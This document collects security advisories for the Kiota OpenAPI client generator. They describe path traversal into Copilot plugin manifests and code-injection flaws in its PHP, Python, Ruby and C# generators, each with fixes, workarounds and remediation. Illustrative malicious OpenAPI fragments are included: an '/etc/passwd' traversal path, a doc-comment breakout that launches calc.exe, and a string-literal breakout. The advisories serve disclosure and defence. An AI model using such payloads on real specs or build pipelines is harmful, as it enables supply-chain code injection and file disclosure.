kiota plugin add / kiota plugin generate (with -t APIPlugin) emits an attacker-controlled static_template.file path from the AI-plugin extensions (x-ai-adaptive-card, x-ai-capabilities) verbatim, with no path validation, into the generated Microsoft 365 Copilot / Teams plugin manifest (<name>-apiplugin.json). An attacker-controlled or compromised OpenAPI description can therefore embed a ../ / absolute path into the manifest's response_semantics.static_template.file, yielding a path traversal (CWE-22) / out-of-package file inclusion (CWE-829) that is resolved by the AI host when the generated plugin is deployed.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

Both extension paths write the static_template.file reference straight into the manifest without sanitization — PluginsGenerationService.GetResponseSemanticsFromAdaptiveCardExtension mints static_template = {"file": <File>}, and the x-ai-capabilities path copies the static_template object through:

# spec                                                  -> generated manifest (functions[].capabilities.response_semantics)
x-ai-adaptive-card: {title: T, data_path: $.x,
   file: "../../../../../../etc/passwd"}                -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)
x-ai-capabilities.response_semantics.static_template:
   {file: "../../../../../../etc/passwd"}               -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)

(x-ai-adaptive-card.file only reaches the manifest when title is set, so GetResponseSemanticsFromAdaptiveCardExtension fires; otherwise kiota writes its own template card instead.)

Impact

This is not local code execution on the build host. The injected path is written into the generated plugin manifest and realized downstream, when the plugin is packaged and sideloaded / deployed to an AI host (Microsoft 365 Copilot / Teams) that resolves static_template.file relative to the plugin package (out-of-package file reference via ../). Kiota is the propagation point: it fails to reject ../ and absolute paths in this provider-supplied field before writing it into the manifest.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7892). static_template.file from both x-ai-adaptive-card and x-ai-capabilities is validated as a relative path confined to the plugin output package: absolute URIs, rooted/UNC paths, Windows drive paths, and .. traversal segments are rejected, and unsafe references are dropped with a warning. Regression tests cover .., absolute paths, and URI values.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later and regenerate affected plugins.

Impact

The Kiota PHP code generator is vulnerable to a code generation literal injection attack. The generator embeds string values from OpenAPI fields (e.g. description, default values, and property names) directly into PHP double-quoted string literals without properly escaping the $ character. Since PHP evaluates string interpolation expressions like "${expr}", "$var", and "{$obj->prop}" within double-quoted strings at runtime, an attacker who controls an OpenAPI specification file can inject arbitrary PHP code into generated model and request-builder classes.

Who is impacted

Developers using Kiota to generate PHP API clients from external or untrusted OpenAPI specifications

Teams with CI/CD pipelines configured to automatically regenerate client code from remote specs

Applications that deploy generated PHP code to production servers

Vulnerability details

Affected component: StringExtensions.cs

Root cause: The shared SanitizeDoubleQuote() function in Writers/StringExtensions.cs does not escape the $ character. As a result, any schema-derived string emitted as a PHP double-quoted literal preserves $-prefixed interpolation constructs (${...}, $var, {$...}) verbatim, which PHP evaluates at runtime instead of treating as literal text. This is the same class of code-generation literal-injection flaw previously fixed for the Ruby generator (# interpolation), recurring here as a missed variant for PHP's $ interpolation in the sibling sanitizer helper.

Attack vectors

OpenAPI description and default fields in schema properties

Property wire-name keys embedded in deserializer/serializer methods

Any schema-derived string embedded in PHP double-quoted literals

Severity: Critical when generated code reaches production; High for CI/CD environments with access to production secrets; Medium for public third-party specs; Low for developer-controlled specs.

Patches

#7863

Workarounds

If you cannot upgrade immediately:

1. Audit and sanitize OpenAPI specifications: Review all OpenAPI specification files for any descriptions, default values, or property names containing the $ character. Remove or replace any suspicious strings before code generation.
2. Code review of generated files: Implement mandatory code review of all generated PHP files before merging into any branch. Look for double-quoted strings containing ${, $var, or {$ patterns.
3. Restrict specification sources: Only consume OpenAPI specifications from trusted internal sources. Avoid automatic code generation from external or third-party APIs until this patch is applied.
4. Isolate generated code from production: Do not deploy generated PHP models to production environments unless the specification source has been verified and reviewed.
5. Manual escaping (temporary): If regeneration is not possible, manually inspect and edit generated files to escape any $ characters in double-quoted string literals (replace $ with \$).

Remediation

Upgrade Kiota to 1.29.1, 1.32.4, or later.

Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.

Code Generation Literal Injection in Kiota Python Generator Leads to Arbitrary Code Execution at Import Time.

The Kiota Python code generator is vulnerable to a code generation literal injection issue when processing malicious or untrusted OpenAPI specifications. Specifically, attacker-controlled enum value descriptions from x-ms-enum.values[].description can flow into generated Python files without newline sanitization, allowing injected content to escape a comment context and execute at module scope when the generated module is imported.

This issue requires user interaction in the form of generating a client from a malicious specification and importing the generated code, which is a common development and CI workflow.

Impact

A malicious OpenAPI specification can cause arbitrary Python code to be emitted into generated model files. The payload executes when the affected module is imported.

Potential impact includes

Credential theft from developer or CI environments Exfiltration of environment variables and secrets Source code disclosure Persistence via regenerated backdoored client output Who is impacted Developers generating Python SDKs from external or untrusted OpenAPI specs Teams with CI/CD automation that regenerates clients from remote specification URLs Any environment importing generated Python modules before manual review Vulnerability details Two gaps combine to enable exploitation:

Enum description cleanup gap

In KiotaBuilder.SetEnumOptions, enum option descriptions are assigned to Documentation.DescriptionTemplate without CleanupDescription on this path, allowing control characters such as newlines to propagate.

Python description sanitization gap

PythonConventionService.RemoveInvalidDescriptionCharacters escapes backslashes and triple quotes but did not remove carriage return/newline characters, unlike some other language convention services.

Exploit path

Malicious newline in x-ms-enum description is emitted through enum writing path. Generated inline comment output is split by newline. Subsequent attacker-controlled line lands at module scope in generated .py file. Importing the module executes the injected code.

Attack vectors

OpenAPI specifications hosted at attacker-controlled URLs Supply-chain scenarios where third-party specs are consumed automatically CI pipelines that generate and then import or test generated Python clients

Patches

https://github.com/microsoft/kiota/pull/7735

Workarounds

If you cannot upgrade immediately:

Only generate from trusted, internally controlled OpenAPI specification sources. Disable or gate automatic generation from remote specs in CI/CD. Add validation/sanitization for x-ms-enum descriptions before generation. Review generated Python files for suspicious top-level statements near enum/model declarations. Run generation and validation in isolated environments without access to production secrets.

Remediation

Upgrade to Kiota 1.29.1, 1.32.0, or later.

Regenerate existing Python clients to replace previously generated vulnerable output.

Recommended validation after upgrade

Regenerate from the same spec used in proof-of-concept testing Confirm malicious multi-line enum descriptions no longer produce executable top-level output

Code Generation Literal Injection in Kiota Ruby Generator Leads to Arbitrary Code Execution

Impact

The Kiota Ruby code generator is vulnerable to a code generation literal injection attack. The generator embeds string values from OpenAPI default fields and property names directly into Ruby double-quoted string literals without properly escaping the # character. Since Ruby evaluates string interpolation expressions like #{expr}, #$var, and #@var within double-quoted strings at runtime, an attacker who controls an OpenAPI specification file can inject arbitrary Ruby code into generated model classes.

Who is impacted

Developers using Kiota to generate Ruby API clients from external or untrusted OpenAPI specifications Teams with CI/CD pipelines configured to automatically regenerate client code from remote specs Applications that deploy generated Ruby code to production servers

Vulnerability details

Affected component: CodeMethodWriter.cs Root cause: The shared SanitizeForQuotedLiteral() function in Writers/StringExtensions.cs does not escape the # character

Attack vectors

OpenAPI default fields in schema properties Property wire-name hash keys in deserializer/serializer methods Any schema-derived string embedded in Ruby double-quoted literals Severity: Critical when generated code reaches production; High for CI/CD environments with access to production secrets; Medium for public third-party specs; Low for developer-controlled specs.

Patches

https://github.com/microsoft/kiota/pull/7746

Workarounds

If you cannot upgrade immediately:

1. Audit and sanitize OpenAPI specifications: Review all OpenAPI specification files for any default values or property names containing the # character. Remove or replace any suspicious strings before code generation.
2. Code review of generated files: Implement mandatory code review of all generated Ruby files before merging into any branch. Look for double-quoted strings containing #{, #$, or #@ patterns.
3. Restrict specification sources: Only consume OpenAPI specifications from trusted internal sources. Avoid automatic code generation from external or third-party APIs until this patch is applied.
4. Isolate generated code from production: Do not deploy generated Ruby models to production environments unless the specification source has been verified and reviewed.
5. Manual escaping (temporary): If regeneration is not possible, manually inspect and edit generated files to escape any # characters in string literals (replace # with # in double-quoted strings).

Remediation

Upgrade Kiota to 1.29.1, 1.32.0, or later. Regenerate/refresh existing generated clients as a precaution:

kiota update

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.

Summary

Kiota versions prior to 1.32.3 and 1.29.1 are affected by a code-generation injection vulnerability in the C# XML documentation-comment sink (the description, externalDocs label, and externalDocs link fields emitted as /// … comments).

When text from an OpenAPI description is written into single-line XML doc comments without stripping newline and Unicode line-terminator characters, an attacker can break out of the /// comment line and inject additional code into generated C# clients.

Impact and Preconditions

This issue is only practically exploitable when:

1. the OpenAPI description used for generation is from an untrusted source, or
2. a normally trusted OpenAPI description has been compromised/tampered with.

The injected code is compiled (and may execute) when the developer or CI builds the generated client. If you only generate from trusted, integrity-protected API descriptions, risk is significantly reduced.

Affected Versions

• Affected: all versions < 1.29.1, >= 1.30.0, < 1.32.3
• Fixed: 1.29.1, 1.32.3, and later

Illustrative Exploit Example

Example OpenAPI fragment (malicious description)

openapi: 3.0.1
info:
  title: Exploit Demo
  version: 1.0.0
  description: |-
    Legitimate summary text
    public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The newline inside description (also exploitable via \r, U+0085, U+2028, U+2029) terminates the doc-comment line.

Example generated C# snippet before fix (illustrative)

/// Legitimate summary text
public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

The injected payload escapes the intended /// comment context and introduces attacker-controlled statements in generated code.

Note: this exploit is not limited to the description field, but may also impact the externalDocs label and link text and other doc-comment-derived locations.

Remediation

1. Upgrade Kiota to 1.32.3 or later.
2. Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output. The fix (PR microsoft/kiota#7831) strips \r, \n, \u0085, \u2028, \u2029 (and normalizes tabs) from description, label, and link text before emitting doc comments.

CVE Advisory (CVE-2026-41134): Code Generation Literal Injection in Kiota

Summary

Kiota versions prior to 1.29.1 and 1.31.1 are affected by a code-generation literal injection vulnerability in multiple writer sinks (for example: serialization/deserialization keys, path/query parameter mappings, URL template metadata, enum/property metadata, and default value emission).

When malicious values from an OpenAPI description are emitted into generated source without context-appropriate escaping, an attacker can break out of string literals and inject additional code into generated clients.

Impact and Preconditions

This issue is only practically exploitable when:

1. the OpenAPI description used for generation is from an untrusted source, or
2. a normally trusted OpenAPI description has been compromised/tampered with.

If you only generate from trusted, integrity-protected API descriptions, risk is significantly reduced.

Affected Versions

• Affected: all versions < 1.29.1 and >= 1.30.0, < 1.31.1
• Fixed: 1.29.1, 1.31.1, and later

Illustrative Exploit Example

Example OpenAPI fragment (malicious default value)

openapi: 3.0.1
info:
  title: Exploit Demo
  version: 1.0.0
components:
  schemas:
    User:
      type: object
      properties:
        displayName:
          type: string
          default: "\"; throw new System.Exception(\"injected\"); //"

Example generated C# snippet before fix (illustrative)

public User() {
    DisplayName = ""; throw new System.Exception("injected"); //";
}

The injected payload escapes the intended string context and introduces attacker-controlled statements in generated code.

Note: this exploit is not limited to default values, but may also impact properties names (serialization), path or query parameters, enum representations and other locations.

Remediation

1. Upgrade Kiota to 1.31.1 or later.
2. Regenerate/refresh existing generated clients as a precaution:

kiota update

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.

Acknowledgement

We would like to thank the researcher Thanatos Tian（Polyu) for finding this issue and for his contribution to this open source project.